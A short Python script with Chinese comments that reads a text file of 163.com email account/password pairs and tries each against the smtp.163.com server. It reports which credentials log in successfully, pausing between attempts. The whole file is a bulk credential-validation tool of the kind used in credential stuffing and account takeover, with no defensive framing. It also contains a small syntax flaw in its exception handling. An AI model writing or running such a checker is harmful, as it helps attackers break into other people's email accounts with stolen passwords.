import linecache

import smtplib

import time

import linecache

#算出txt的行数

txt = open(r'F:\163账号.txt','r')

data = txt.read()

txt.close()

n = data.count('\n')

print(n)

i = 1

while True:

    if i <= n:

        print("===========================")

        line=linecache.getline(r'F:\163账号.txt',i)

        #切片实现分离出账号和密码

        user = line.split("----")[0]

        password = line.split("----")[1].replace('\n','')

        print(user)

        print(password)

        i+=1

        try:

            #发送邮箱的账号/密码

            smtpserver = "smtp.163.com"

            smtp = smtplib.SMTP()

            smtp.connect(smtpserver)

            smtp.login(user,password)

            print("邮箱登陆成功!")

            print("第",(i-1),"行账号有效")

            time.sleep(3)

        except:print("账号无效***************************************",(i-1))

            time.sleep(3)

    else:

        print("结束")

        break